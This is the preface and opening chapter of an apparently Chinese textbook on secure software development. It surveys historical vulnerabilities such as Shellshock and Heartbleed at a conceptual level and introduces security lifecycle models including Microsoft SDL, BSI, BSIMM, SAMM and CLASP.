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前言

近年来，国内外由于软件系统缺陷引发的重大信息安全事件日益增多，给相关机构或企业带来了不良社会影响和重大经济损失。软件安全开发是一种系统化的应用安全解决方法，它将一系列安全活动、安全管理实践和安全开发工具有机地结合在一起，在整个软件开发生命周期中，贯彻安全开发的思想，从源头着手，减少软件安全缺陷与漏洞，从而提高软件运行的安全性。与软件运行阶段解决安全问题相比，在软件开发阶段考虑安全问题，更有效、更经济。

本书全面梳理了国内外软件安全开发最佳实践，跟踪研究安全开发理论发展，汇集国内诸多专家学者智慧，并汲取软件漏洞分析经验，用以培养软件开发人员的安全开发意识，提高安全开发水平，增强用户对软件安全威胁的认识，提升IT产品和系统的抗攻击能力。

本书以内容全面和实用为撰写原则，书中涵盖软件安全需求分析、安全设计、安全编码、安全测试、安全部署与安全开发项目管理等多个领域的知识，较为全面地分析了软件安全开发最新理论研究成果和产业界最佳实践经验。本书在编写过程中注重理论与实际相结合，通过案例分析、工具介绍等方式，帮助读者更好地掌握软件安全开发关键技术。

本书适用于信息技术产品项目经理、软件开发人员、软件架构师、软件测试人员，以及政府相关人员和重要信息基础设施网络技术从业人员等。本书能满足上述人员网络安全工作所需。

本书在编写过程中得到了社会各界人士的关心与支持，在此对这些人士表示感谢，尤其要对沈尚方、谢成、谢安明等人的积极参与表示衷心感谢。书中不妥或错误之处恳请广大读者批评指正。


第1章　软件安全开发基础

软件自身存在安全漏洞是信息安全问题产生的主要原因之一。本章首先介绍了软件安全问题以及传统软件开发的局限，其次阐述了软件安全保障和安全软件开发生命周期的内涵，并介绍了国外相关标准和典型安全开发模型，以期读者能够了解软件安全问题产生的原因、安全开发的重要性，明确软件安全开发的指导思想，及其相互间的关系、特点和适用场景。


1.1　软件安全开发背景

1.1.1　软件的发展和安全问题

软件是指计算机程序、方法和相关的文档资料，以及在计算机上运行时所需要的数据。当今是一个全球化、信息化的时代，每时每刻都有无数软件系统正在运行。信息化是当今世界发展的大趋势，是推动经济社会变革的重要力量。软件则是信息化建设的重要组成部分。自进入互联网时代以来，信息化已经覆盖社会生产、生活的方方面面，包括政务、金融、电力、通信、能源、交通运输等重要行业，这些行业的软件系统的安全与稳定运行直接关系到国计民生，影响到国家安全。

在信息化建设过程中，软件系统的安全体系是一个复杂的体系，系统软件、应用软件和第三方软件的安全问题，以及开发、部署过程中的安全问题，如果处理不当或者不加防范，都可能给整个系统带来巨大的灾难。

（1）系统软件安全问题

最早的计算机蠕虫——莫里斯蠕虫，是在互联网刚刚开始发展的时候出现的。它在短短12小时内导致6200台采用UNIX操作系统的SUN工作站和VAX小型机瘫痪或半瘫痪，不计其数的数据和资料遭到破坏。莫里斯蠕虫利用了这些主机使用的UNIX操作系统中一个服务的缓冲区溢出漏洞，突破了系统自身安全功能的保护。

2014年9月“破壳”（Shellshock）漏洞首次爆发，该漏洞属于典型的脚本注入漏洞。基于Bash的常用远程服务在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断，导致在Linux等服务器操作系统上可能被远程执行任意命令。这个漏洞包含了远程代码执行和本地提权，可以直接获取权限。“破壳”漏洞影响Linux和Mac OSX操作系统平台，包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台。而类UNIX系统是众多网络设备的底层操作系统，特别是Bash广泛地分布和存在于设备中，致使“破壳”漏洞的危害范围很大，涉及网络设备、网络安全设备、云计算和大数据中心等。

（2）应用软件安全问题

自2011年以来，网上陆续披露出一些社会保险信息系统的安全漏洞，导致上千万公民信息泄露。造成这一安全问题的原因是在开发过程中缺乏安全知识，导致开发出的系统存在SQL注入、任意路径遍历等安全漏洞。

近年来，互联网金融“异军突起”。据不完全统计，截至2014年11月，已有近165家P2P平台遭遇黑客攻击陷入系统瘫痪、数据被恶意篡改、资金被洗劫等安全问题中。行业中众多网站都遭遇过黑客攻击、数据泄露、威胁勒索等安全事件。很多互联网金融企业通过购买通用软件模板或组织自主开发P2P网贷平台，导致网站系统中包含XSS跨站脚本漏洞、CSRF跨站请求伪造漏洞、平行越权漏洞、任意用户密码重置漏洞等一系列安全开发漏洞，仔细分析原因，不难发现P2P金融网站系统开发普遍存在安全技术力量不足的状况。

（3）第三方代码安全

2014年4月，OpenSSL“心脏出血”安全漏洞大范围爆发。OpenSSL是安全套接层密码库，同时是一个没有太多限制的开放源代码软件包，支持SSL和TLS协议。Apache使用它加密HTTPS，OpenSSH使用它加密SSH，很多涉及资金交易的平台（如支付网站）都用它来做加密工具。4月8日，OpenSSL 1.0.1~1.0.2-beta1版本发现Heartbleed（心脏出血）漏洞，该漏洞会暴露HTTPS服务器64KB的内存明文信息，可能包含session、认证以及账户密码等敏感信息。由于大量软件使用了存在漏洞的OpenSSL代码库，尤其是HTTPS网站（大多采用OpenSSL来实现对SSL协议的支持），致使国内众多大型网站和厂商受到影响。

Java的跨平台特性使其应用广泛，并因此遭受大量黑客攻击。2011年微软监测到2750万次针对Java漏洞的攻击，使Java超越Adobe成为黑客主要目标。2013年，Java 7曾爆出重大安全漏洞，虽然甲骨文紧急发布了Java 7的更新，但Facebook、苹果、微软、Twitter等大型互联网跨国企业仍被黑客利用该漏洞成功入侵。该漏洞影响Java SE 7（Standard Edition 7）的用户，当用户不慎浏览到含有恶意Java Applet的网页，黑客就有机会由Java Applet内的恶意程序代码入侵用户计算机。由于Java 7纳入了动态语言特性，恶意Java Applet可以绕过Java安全沙箱，在不经用户允许的状况下执行，黑客能以不同用户权限窃取用户数据。

同年7月，Struts2漏洞爆发。Struts2是一个帮助Java开发者利用J2EE开发Web应用的开发框架，作为网站开发的底层通用模板，在大型互联网企业、政府、金融机构等网站建设中应用广泛。漏洞涉及Struts2.0及以上版本（2.0-2.3.15），能远程执行命令并开放重定向。利用该漏洞，黑客可发起远程攻击，不但可以窃取网站数据信息，甚至还可以取得网站服务器控制权。Struts2漏洞影响巨大，许多大型互联网厂商均受此漏洞影响。如今，开源软件架构下漏洞频频爆出，并且大多属于突发性威胁，爆发速度快、波及范围广，值得高度关注。

（4）新技术安全问题

在工业生产领域，随着计算机技术、通信技术、控制技术的发展和信息化与工业化的深度融合，传统的工业控制系统（Industrial Control System，ICS）逐渐向网络化转变，黑客、病毒、木马等威胁正在向ICS扩散，ICS面临的信息安全形势日益严峻。如2003年，美国俄亥俄州Davis-Besse的核电厂控制网络内的一台计算机被蠕虫感染，导致其安全监控系统停机将近5小时。著名的“网络超级武器”Stuxnet病毒在2010年被发现，其针对性地入侵伊朗布什尔核电站，严重影响到核反应堆的安全运营。

在日常生活中，包括智能手表、智能电视、冰箱、洗衣机乃至电饭煲，每天越来越多的新设备联入互联网，万物互联的时代即将开启，这些新型网络中的软件安全问题引人关注。以车联网为例，2014年，美国一名14岁男孩演示了他是如何仅凭15美元购买的简单电子设备，轻而易举地侵入联网汽车的；德国安全专家曝光了宝马诸多车型的中控系统可被破解，在数分钟内即可解除车锁，该漏洞存在于220万辆宝马车、Mini和劳斯莱斯中。

现在智能联网汽车的安全风险日渐突出，其主要原因是汽车控制系统由车载电脑实现，典型的豪华车包含大约1亿行代码的软件，同时汽车系统在开发时存在多处安全缺陷。从被曝光的漏洞中可以发现，在验证解锁信号时，汽车只是向宝马服务器发送一个简单的HTTP Get请求，在传输过程并没有使用SSL或TLS加密，致使黑客可以截获传输信息。另外汽车的命令验证机制也存在缺陷，汽车通过查看消息中的车辆标识码（Vehicle Identification Number，VIN）来检查收到消息的目的地址，如果不匹配它就不会执行发送命令；另一方面，当不能接收到有效的VIN码时，它会发送一条错误消息并附上自己的VIN来标识。

现在大多数的网络攻击利用了软件（尤其是应用软件）的漏洞。根据统计分析，绝大多数成功的攻击都是针对和利用已知的、未打补丁的软件漏洞和不安全的软件配置，而这些软件安全问题都是在软件设计和开发过程中产生的。

软件的安全问题一般包含两个方面：一是软件的可靠性和可用性问题；二是软件中信息的保密性和完整性问题。

由于处理不当或出现意外，软件在运行过程中可能会出现错误结果或运行不稳定、崩溃等观象，甚至引起操作系统或主机死机等情况。这一般是由于软件设计或实现时考虑不周，软件运行中出现无法处理的异常，或申请操作系统资源过多而释放不及时，或线程处理不同步等情况引起的，如：操作系统启动时发现未能驱动的硬件而导致蓝屏；应用软件由于存在内存泄露，运行时系统内存消耗越来越大，直至最后崩溃；网络软件由于对用户并发数考虑不周，导致用户数量超出预计，程序运行错误；多线程软件对线程同步考虑不周，导致系统因资源死锁而死机。

由于软件在设计和实现时安全防护考虑不周，而被黑客利用，黑客因此就能达到获得隐私、窃取信息，甚至破坏系统的目的。如：软件使用明文存储用户口令，黑客通过数据库漏洞直接获取口令明文；软件存在缓冲区溢出漏洞，黑客利用溢出攻击而获得远程用户权限；软件对用户登录的安全验证强度太低，黑客假冒合法用户登录；软件对用户输入没有严格删除，被黑客利用后执行系统删除命令，从而导致系统被破坏。


1.1.2　软件安全问题产生的原因

软件存在安全问题的根本原因有两个：一个是软件自身存在安全问题，另一个是软件在应用中存在安全威胁（即软件面临严重外部威胁）。虽然现代软件功能强大而复杂，但没有漏洞的软件是不存在的，只要存在漏洞，就存在被利用的可能。同时现在计算机网络硬件发展迅速，软件应用环境越来越复杂，软件应用所面临的内、外部威胁也越来越多。

1.软件自身存在安全问题

随着网络和计算机技术的应用发展，信息安全漏洞也越来越多，越来越严重。据中国国家信息安全漏洞库（CNNVD）统计，仅2015年4月新增安全漏洞619个，日均新增漏洞约21个，截止到2015年4月底，CNNVD漏洞总量达75051个。软件安全漏洞持续增长的内因主要包括以下几个。

（1）软件开发安全意识淡薄

传统软件开发更倾向于软件功能，而不注重对安全风险的管理。软件开发公司工期紧、任务重，为争夺客户资源、抢夺市场份额常仓促发布软件。软件开发人员将软件功能视为头等大事，对软件安全架构、安全防护措施认识不够，只关注是否实现需要的功能，很少从“攻击者”的角度来思考软件安全问题。

如果采用严格的软件开发质量管理机制和多重测试技术，软件公司开发的产品的缺陷率会低很多。在软件安全性分析中可以使用缺陷密度，即每千行代码中存在的软件缺陷数量，来衡量软件的安全性。以下各类软件代码缺陷的统计数据也说明了这个情况。

·普通软件开发公司开发的软件的缺陷密度为4~40个缺陷/KLOC（千行代码）。

·高水平的软件公司开发的软件的缺陷密度为2~4个缺陷/KLOC（千行代码）。

·美国NASA的软件缺陷密度为0.1个缺陷/KLOC（千行代码）。

国内大量软件开发厂商对软件开发过程的管理不够重视，大量软件使用开源代码和公用模块，缺陷率普遍偏高，可被利用的已知和未知缺陷较多。

（2）软件开发者缺乏安全知识

软件公司中，项目管理和软件开发人员缺乏软件安全开发知识，不知道如何更好地开发安全的软件。实施软件的安全开发过程，需要开发团队所有的成员以及项目管理者都具备较高的安全知识。软件开发人员很少进行安全能力与意识的培训，项目开发管理者不了解软件安全开发的管理流程和方法，不清楚安全开发过程中使用的各类方法和思想；开发人员大多数仅学会了编程技巧，不了解安全漏洞的成因、技术原理与安全危害，不能更好地将软件安全需求、安全特性和编程方法相互结合。

（3）软件趋向大型化，第三方扩展增多

现代软件功能越来越强，功能组件越来越多，软件也变得越来越复杂。从表1-1可以看出，操作系统的代码量相当惊人，而且随着版本的更新，代码量迅速增加。现在基于网络的应用系统更多地采用了分布式、集群和可扩展架构，软件内部结构错综复杂。软件应用向可扩展化方向发展，成熟的软件也可以接受开发者或第三方扩展，系统功能得到扩充。如，Firefox和Chrome浏览器支持第三方插件，Windows操作系统支持动态加载第三方驱动程序。Word和Excel等软件支持第三方脚本和组件运行等，这些可扩展性在增加软件功能的同时，也加重了软件的安全问题。研究显示，软件漏洞的增长同软件复杂性、代码行数的增长呈正比，即“代码行越多，缺陷也就越多”。

表1-1　操作系统源代码行数表
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2.软件面临严重外部威胁

安全事件的产生必定是软件内部脆弱性和外部威胁共同作用的结果，当前软件系统面临着非常严重的外部威胁。

（1）软件使用场景更具威胁

网络技术拓展了软件的功能范围，提高了其使用方便程度，与此同时，也给软件带来了更大风险。由于软件被应用于各种环境，面对不同层次的使用者，软件开发者需要考虑更多的安全问题。同时，黑客和恶意攻击者可以比以往获得更多的时间和机会来访问软件系统，并尝试发现软件中存在的安全漏洞。

（2）恶意代码泛滥

随着互联网的快速发展和广泛应用，恶意代码产生和传播的速度越来越快，危害也越来越严重。自2000年以来，先后爆发了红色代码、尼姆达、冲击波、震荡波、熊猫烧香、震网病毒、火焰病毒等众多恶意病毒，它们传播范围广，导致了重大安全损失，感染主机从几十万台到上千万台，经济损失从上亿美元到上百亿美元。

（3）黑客活动猖獗

当前黑客组织非常活跃，其中既包括传统的青少年黑客、跨国黑客组织，也包括商业间谍黑客和恐怖主义黑客，乃至国家网络战部队。2003年以前的黑客多以恶作剧和破坏系统为主，包括对技术好奇的青少年黑客和一些跨国黑客组织；2004年以后的黑客行为则多为实施商业犯罪并从事地下黑产，危害已经不限于让服务与系统不可用，更多的是带来敏感信息的泄露以及现实资产的损失。2009年后，以一系列APT攻击的出现以及美国“棱镜”计划曝光为标志，来自国家层面的网络威胁逐渐浮出水面。

综合分析引起软件安全问题的两大原因可知，安全威胁是软件问题的外因，安全漏洞则属于内因。虽然可以通过在实际运维过程中部署安全设备和控制措施，努力降低安全事件发生的可能性，但开发高质量的软件系统，尽量降低软件中的安全缺陷才是治本之策。


1.2　软件安全开发概念

1.2.1　软件安全保障

理想中，安全的软件是不存在任何安全漏洞、能抵御各种攻击威胁的软件。现实中这样的软件是不可能存在的，因为安全威胁无处不在，在需求、设计和开发过程中，如果在安全方面稍有不慎，就有可能将安全漏洞带入软件。软件安全保障的思路是在软件开发生命周期各阶段采取必要的安全考虑和相应的安全措施，尽管不能完全杜绝所有的安全漏洞，也可以做到避免和减少大部分安全漏洞。

软件安全保障是指确保软件能够按照开发者的预期，提供与威胁相适应的安全能力，从而维护软件自身的安全属性，避免存在可以被利用的安全漏洞，并且能从被入侵和失败的状态中恢复。软件安全保障的目标是使软件可以规避安全漏洞，按照预期的方式执行其功能，以增强开发者和使用者的信心。由于信息系统所承载业务的风险很大程度上与软件安全息息相关，软件安全保障已经成为当前信息安全需要解决的关键问题。

软件安全性主要是由软件的安全属性来定义和保证的。软件的安全属性包括保密性、完整性、可用性、抗抵赖性等。其中，保密性、完整性和可用性是软件的核心安全属性。

·保密性：软件必须保证其内容、资源管理以及自身特性（包括其运行环境和用户之间的联系）对未授权的实体隐藏。

·完整性：软件以及受其管理的资源必须能够抵御主动攻击，防止被非法用户修改和破坏，并能从被破坏状态中恢复。

·可用性：软件可被授权用户访问并按需求使用，即保证合法用户对系统和资源的使用不会被不合理拒绝。

对于安全性要求较高的软件系统，在满足软件核心安全属性的基础上，抗抵赖性、可预测性及可靠性等也是软件需要考虑的重要安全属性。

一般认为，软件可预测性意味着只要软件的运行情况（例如软件输入、运行环境等）可预测，软件的功能、属性和行为就始终符合预期。软件可靠性关注软件保持可预测的、正确的运行能力，包括可预测和不可预测的环境状态变化、意外的错误等；但可靠性背景下的错误一般是随机的、不可预测的系统错误，安全性背景下的错误一般是人为的恶意攻击。

在软件安全保障中，需要贯彻风险管理的思想。由于软件自身存在漏洞，而客观上又存在外部威胁，一旦条件满足，势必会造成安全问题，给软件的执行结果带来影响。软件用户需要树立软件安全控制的信心，该信心是通过保障活动获取的。安全保障的作用是试图证明软件系统已经满足了其安全目标，使用户对降低预期的风险抱有信心。如果软件安全控制是正确的和足够充分的，那么软件系统完成预定任务时可能面临的风险就是用户可接受的，用户就会对软件有信心。


1.2.2　软件安全开发生命周期

尽管人们采用了软件工程、软件质量保证和验证等一系列技术和工程经验，但在当前的技术水平下，开发出没有错误的软件几乎是不现实的。传统的软件开发方法中，不管采用瀑布模型、螺旋模型、增量模型，还是敏捷模型，重点在于关注软件功能的实现和保证，而对如何实施软件安全开发、保证软件自身的安全性仍存在很多不足。

软件生命周期大致可以划分为需求分析、架构设计、代码编写、测试和运行维护等阶段，为了减少软件自身的安全漏洞及危害，需要从需求分析阶段就开始考虑软件的安全问题，在设计阶段设计符合安全需求的安全功能，在编码阶段保证开发的代码符合安全编码规范，并通过安全测试，确保安全需求、安全设计、安全编码各个环节得以正确、有效实施。

软件安全开发过程在传统软件开发过程的各个阶段添加安全措施和安全手段，防止因设计、开发、提交、升级或维护中的缺陷而产生不该有的软件漏洞和脆弱性。软件安全开发的目标是使软件能够按照开发者的意图执行，并且在受到恶意攻击的情形下依然能够继续正确运行。

软件安全开发涵盖了软件的整个生命周期，安全软件开发生命周期（Secure Software Development Lifecycle，SSDL）是一种强调安全措施的软件生命周期，即通过软件开发的各个步骤来确保软件的安全性，其目标是最大限度地确保软件的安全。

软件编码规范和测试一直被认为是达到软件质量和安全性的重要手段。人们提出了一系列编码规范，希望能约束程序员的不良开发习惯并减少安全漏洞。但是编码规范不是规避安全漏洞的充要条件，如果程序员不能真正理解信息安全，照样会写出完全符合编码规范但实际上安全漏洞很多的代码。软件测试的实质是根据软件开发各阶段的规格说明和程序的内部结构设计测试用例，并依此测试用例观察软件运行结果与预期结果是否一致。通常来说，软件测试的主要目的是检查代码编码的功能和性能的符合性，在测试中也可以检测出一部分软件安全漏洞，但是对于软件在需求和设计阶段存在的安全问题，软件测试是发现不了的。一个典型的例子是，假设某网络软件中网络传输的数据较为敏感，包括用户名、口令等，甚至还包括用户的银行账户，但软件的设计人员未采用可靠的加密算法对网络传输数据进行加密，而是仅对这些数据进行简单的数值变化处理（如和某个固定值进行异或），这种“加密”手段保密性极低，很容易被黑客识破并“解密”。缺少安全经验的测试人员可能不会发现这种安全问题，他们只能证明该“加密”功能已经被正确实现。

软件安全开发期望在软件的各个阶段添加安全措施和安全手段，致力于从一开始就创建一个安全的软件，而不仅仅是软件的编码和测试阶段。美国国家标准与技术研究所（NIST）研究显示，如果软件开发企业能够在软件开发过程中更多地重视软件安全问题，并尽可能在软件开发生命周期的早期就发现软件中存在的安全漏洞，那么就能够节约大量的成本。在软件系统发布以后再修复漏洞，代价是最高的，也会给软件系统的使用者带来无法估量的损失。研究数据表明，在软件发布后对安全漏洞的修复所需的成本至少是在软件设计和编码阶段进行修复的30倍。因此，要使软件的安全性达到较高的水平，不仅要从整个软件开发生命周期来考虑安全问题，还要注重在软件开发需求分析和系统设计阶段就开始考虑安全性。


1.3　软件安全开发方法

软件安全开发主要是从生命周期的角度，对安全设计原则、安全开发方法、最佳实践和安全专家经验等进行总结，通过采取各种安全活动来保证尽可能得到安全的软件。近十年来，众多软件安全开发方法和模型涌现出来，比较知名的有微软的安全开发生命周期（SDL）、内建安全（BSI）、BSI成熟度模型（BSIMM）、软件保障成熟度模型（SAMM）、综合的轻量应用安全过程（CLASP）等，下面将依次进行介绍。


1.3.1　安全开发生命周期

2002年1月，比尔·盖茨给全体微软员工发出一封邮件，提出推行可信计算的计划，期望提高微软软件产品的安全性。微软可信计算的重点是软件开发，关键部分是可信计算安全开发生命周期，简称安全开发生命周期（Security Development Lifecycle，SDL）。

SDL从安全角度指导软件开发过程。2004年以来，微软一直将SDL作为全公司的强制性策略，用于减少软件中安全漏洞的数量和严重性。Vista是微软第一个采用SDL过程开发的操作系统，在安全上取得了较为显著的效果。目前，SDL已经成为一种较为成熟的软件安全开发过程方法。

2004年，微软推出SDL 2.0，它是第一个官方版本的SDL规范。该版本列出了在.NET和Windows安全改进期间使用过的技术和改进，包括威胁建模、静态分析和安全审查等。2007年，微软发布SDL 3.2，这是第一个公开发布的SDL版本，向业界各软件企业介绍了用于保护Microsoft软件的过程和技术。经过多个版本的完善，微软2012年发布了SDL 5.2。

为了保证最终用户的信息安全，SDL强调对软件开发成员进行持续不断的安全教育和培训。因为安全风险不是静止不变的，SDL非常重视了解安全漏洞的原因和后果，要求定期评估SDL过程，并随着新技术和威胁的发展引入新的应对措施。

SDL将软件开发生命周期划分为七个阶段，共提出了十七项重要的安全活动，如图1-1所示。

[image: ]


图1-1　微软SDL的七个阶段

这七个阶段的主要任务和目的如下。

（1）培训

针对开发团队和高层进行安全意识与能力的培训，使之了解安全基础知识以及安全方面的最新趋势，同时能针对新的安全问题与形势持续提升团队的能力。

（2）需求

在软件开发初始阶段，确定软件安全需要遵循的安全标准和相关要求，建立安全和隐私要求的最低可接受级别。

（3）设计

设计阶段要从安全性的角度定义软件的总体结构。通过分析攻击面，设计相应的功能和策略，降低并减少不必要的安全风险，同时通过威胁建模，分析软件或系统的安全威胁，提出缓解措施。

（4）实施

按照设计要求，对软件进行编码和集成，实现相应的安全功能、策略以及缓解措施。在该阶段通过安全编码和禁用不安全的API，可以减少实现时导致的安全问题和编码引入的安全漏洞，并通过代码静态分析等措施来确保安全编码规范的实施。

（5）验证

通过动态分析和安全测试手段，检测软件的安全漏洞，全面核查攻击面，检查各个关键因素上的威胁缓解措施是否得以正确实现。

（6）发布

建立可持续的安全维护响应计划，对软件进行最终安全核查。本阶段应将所有相关信息和数据存档，以便对软件进行发布与维护。这些信息和数据包括所有规范、源代码、二进制文件、专用符号、威胁模型、文档、应急响应计划等。

（7）响应

响应安全事件与漏洞报告，实施漏洞修复和应急响应。同时发现新的问题与安全问题模式，并将它们用于SDL的持续改进过程中。

在这七个阶段中，SDL要求前六个阶段的十六项安全活动为开发团队必须成功完成的安全活动，这些必须活动由安全和隐私专家确认有效，并且会作为年度评估过程的一部分，不断进行有效性评判。同时，SDL认为开发团队应保持灵活性，以便根据需要选择安全活动，如人工代码评析、渗透测试、应用程序漏洞分析，以确保对某些软件组件进行更高级别的安全分析。关于这些安全活动的详细说明和最新资料可以从SDL的公开文档中得到。


1.3.2　内建安全

内建安全（Build Security In，BSI）的含义是将安全内建到软件开发过程中，而不是可有可无，更不是游离于软件开发生命周期之外。BSI方法由Gary McGraw博士及其合作者提出，旨在为软件开发人员、架构师和安全从业者提供实践工具、指导方法和其他资源，以便其在开发的每一阶段使用BSI方法来构建安全软件。目前BSI已成为美国国土安全部的一个项目，作为其软件保障计划的一部分，旨在最大程度地减少软件漏洞，提高可信软件产品的开发和部署能力。

BSI方法强调与开发流程无关，而是在每个开发阶段通过一些关键的安全接触点来保证软件开发的安全性，从而实现在整个软件开发生命周期中既保证软件安全，又超脱于具体的开发模型。

1.软件安全的三根支柱

BSI系列模型强调应该使用工程化的方法来保证软件安全，即在整个软件开发生命周期中都要确保将安全作为软件的一个有机组成部分。软件安全的三根支柱是风险管理、软件安全接触点和安全知识。其中，风险管理是一种战略性方法，即将减轻风险作为一种贯穿整个生命周期的指导方针；软件安全接触点指结合软件开发生命周期中的一套轻量级最优工程方法，综合考虑软件安全的两个方面——攻击与防御，从不同角度提供保障安全的行为方式；安全知识强调对安全经验和专业技术进行收集汇总，对软件开发人员进行培训，并通过安全接触点实际运用到项目过程中。

2.软件安全接触点

软件安全接触点（touch point）一般包含七个接触点，这七个接触点和软件安全开发生命周期密切相关，如图1-2所示。
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图1-2　BSI方法的软件安全接触点

软件安全接触点是一种战术性方法，通过从“黑帽子”（攻击和破解）和“白帽子”（防御和保护）两个方面综合考察软件开发过程中可能出现的问题，结合软件开发生命周期在每一个开发阶段上尽可能地避免和消除漏洞，从而形成“安全的”软件开发生命周期。

（1）代码审核

所有软件开发都会产生代码，因此代码审核成为第一个接触点。代码审核可以使用商业或免费工具。

（2）风险分析

在架构设计中，应进行风险分析，确定可能的攻击，并提供一致的安全防护措施。安全分析人员应通过风险分析揭示体系结构存在的风险和瑕疵。

（3）渗透测试

渗透测试可以评估真实运行环境中软件的安全性。结合体系结构风险分析来设计渗透测试效果会更好。

（4）基于风险的安全测试

功能测试能够告诉软件开发人员是否能实现其功能设计，安全测试会告诉软件开发人员该功能设计能否正确而安全地实现。

（5）滥用案例

滥用案例也称为误用案例，通过设计滥用案例，可以更准确地描述系统在受到攻击时的行为表现：应该保护什么、免受谁的攻击，以及保护多长时间等。

（6）安全需求

在软件开发的需求阶段应当充分考虑安全方面的需求，好的安全需求包括功能安全需求和异常处理安全需求。功能安全需求包括如数据加密、隐私保护和访问控制等，而异常处理安全需求包括软件异常处理、恶意攻击处理等。

（7）安全操作

要求软件公司不同部门、不同职位人员之间进行密切合作和协同一致的工作，在实践中可以在应用上述接触点时互相配合工作。

BSI是在软件开发生命周期的每一个开发阶段尽可能地避免和消除漏洞，因而实施BSI无须改变已有软件开发方法，它适用各种软件开发模型。


1.3.3　BSI成熟度模型

BSI成熟度模型（Build Security In Maturity Model，BSIMM）是对真实的软件安全项目所开展的安全活动进行量化评估，旨在帮助软件安全相关人员了解、衡量，并对软件安全措施进行规划。很多软件公司一方面希望能构建功能强大且安全的软件，另一方面却不知道该如何着手。BSIMM分析了多个真实的软件安全项目实践数据，提炼出这些软件公司和软件项目中的共同特点，其目的是帮助更多的软件公司对其项目进行安全规划、实现和评测。

BSIMM最初的研究始于2009年3月，包括了9家公司和9个不同的活动度量。2010年5月发布了第2版，包括30家公司和42个不同的度量。第3版BSIMM发布于2011年，包括了42家公司和81个不同的活动度量，这两个数据在BSIMM 4中分别增长到了51家和95个度量。BSIMM 5根据软件安全框架（Software Security Framework，SSF）描述了软件安全开发的4大领域12项实践112个活动，以下是4大领域和12项实践的介绍，如表1-2所示。

表1-2　BSIMM的软件安全框架
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（1）治理（Governance）

帮助组织、管理和衡量软件安全措施，员工的发展培训也是治理的核心实践之一。治理领域包括策略与度量、合规与政策，以及培训三项基本实践。

（2）信息/情报（Intelligence）

收集使软件安全措施应用于整个组织的知识，收集内容包括主动安全指导和组织威胁建模。信息/情报领域包括攻击模式、安全特征与设计，以及标准和需求三项基本实践。

（3）软件开发安全接触点（SSDL Touchpoint）

分析和保障特定软件开发工具和过程，包括各种软件安全方法。软件开发安全接触点领域包括架构分析、代码审查与安全测试三项基本实践。

（4）部署（Deployment）

软件配置、维护，以及其他环境问题对软件的安全性有直接影响。部署领域包括渗透测试、软件环境，以及配置管理与漏洞管理三项基本实践。

BSIMM不是一个完整的“告诉大家如何去实施”软件安全开发的指南，它是一个思想和活动的集合，有助于软件开发者通过了解别人的安全项目过程，指导自己的安全项目实施。


1.3.4　软件保障成熟度模型

软件保障成熟度模型（Software Assurance Maturity Model，SAMM）是一个开放的框架，帮助组织制定并实施所面临来自软件安全的特定风险策略。SAMM于2009年正式发布1.0版本，目前由开放Web应用安全项目（The Open Web Application Security Project，OWASP）组织作为一个开放的项目来维护。SAMM致力于创建明确定义和可衡量的目标，并可用于所有的小型、中型和大型组织。

SAMM的目的是评估组织已有的软件安全实践，建立软件安全保证计划，证明安全保证计划带来实质性改善，定义并衡量组织中与安全相关的措施。SAMM提供了一个开放的框架，用以帮助软件公司制定并实施所面临的来自软件安全的特定风险策略，SAMM提供的资源可用于评估一个组织已有的软件安全实践，建立一个软件安全保证计划，证明安全保证计划带来了实质性改善，定义并衡量组织中与安全相关的措施。

SAMM从企业组织与软件开发的核心活动开始，规定了四个软件开发过程中的核心业务功能，包括治理、构造、验证以及部署（见图1-3），这四个业务功能各包括了三个安全实践。其中，治理专注软件开发企业组织管理软件安全开发相关的过程、活动和措施，主要包括战略与度量、策略与遵循、培训与指导三项安全实践；构造关注于软件安全开发中需求、目标和架构方面的过程、活动和措施，主要包括威胁评估、安全需求和安全架构三个方面的安全实践；验证注重软件检查和测试中的过程、活动和措施，主要包括设计审核、代码审查和安全测试三项安全实践；部署强调了软件发布和部署配置时相关的过程、活动和措施，主要包括漏洞管理、环境加固和操作激活三项安全实践。

SAMM的每个安全实践都是一个与安全相关的措施，保证相关业务功能的实现，这十二个安全实践都是改进软件开发业务功能的独立部分。对于每一个安全实践，SAMM设置了三个成熟度等级和一个隐含的零起点，每个等级的细节对不同实践有所不同，具体如下。

·0级：隐含起点，代表实际没有实现安全实践；

·1级：对安全实践有了初步了解并有专门的设计和使用；

·2级：进一步提高了安全实践的效率和有效性；

·3级：在一定规模上综合、有效地掌握了安全实践。
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图1-3　SAMM总体结构

每一个安全实践都是一个成熟度领域，一个目标的成功，代表了一系列安全实践的应用。简单地说，SAMM以分阶段的方式改善一个保证计划：选择安全实践去改善保证计划的下一个阶段；通过执行相关活动指定的成功衡量标准，以得到每个实践的下一个目的。对于某个特定的软件开发项目或软件开发企业，使用SAMM对其进行评估，有两种推荐的评估方法：简单方法和详细方法。其中，前者对每项安全实践进行评估，并为得到的评估结果评定分数；后者对每项安全实践评估后，再执行额外的审计工作，以确保每个安全实践中规定的每一项措施都已执行，且已达到成功指标。

软件企业可以参考SAMM来衡量其软件安全开发实施情况。通过使用评估和记分卡，软件开发企业能够证明其软件安全性得到改善，软件开发企业还可以参考SAMM路线图模板，指导建立或改善软件安全开发措施。


1.3.5　综合的轻量应用安全过程

综合的轻量应用安全过程（Comprehensive Lightweight Application Security Process，CLASP）最初由安全软件公司（Secure Software，Inc.）提出，后来由OWASP完善、维护并推广，该模型由一系列安全活动驱动。

CLASP是一个用于构建安全软件的轻量级过程，由30个特定活动和辅助资源组成，用于提升整个开发团队的安全意识。CLASP的一个突出特点是安全活动与角色相关联，强调安全开发过程中各角色的职责。

软件开发不同阶段的安全活动需要指派不同的角色负责和参与。这些角色分别包括：项目经理、需求专家、软件架构师、设计者、实施人员、集成和编译人员、测试者和测试分析师、安全审计员。对于每一个角色的安全活动，CLASP都对以下问题进行了描述：安全活动应该在什么时间实施、如何实施；如果不进行这项安全活动，将会带来多大的风险；如果实施这项安全活动，估计需要多少成本。

CLASP所采用的流程和其他软件安全开发流程相比属于轻量级。它使企业能够使用并不繁琐而且仍然系统的流程开发出安全的软件产品，并且也能够和多种软件开发模型相结合。同时，CLASP实际上是一组可以被集成到任何软件开发过程中的过程块。它被设计为容易采用而且有效，包括组织必须执行的活动，规定的方法和文档记录。此外，它为改进这些活动提供了丰富的安全资源。

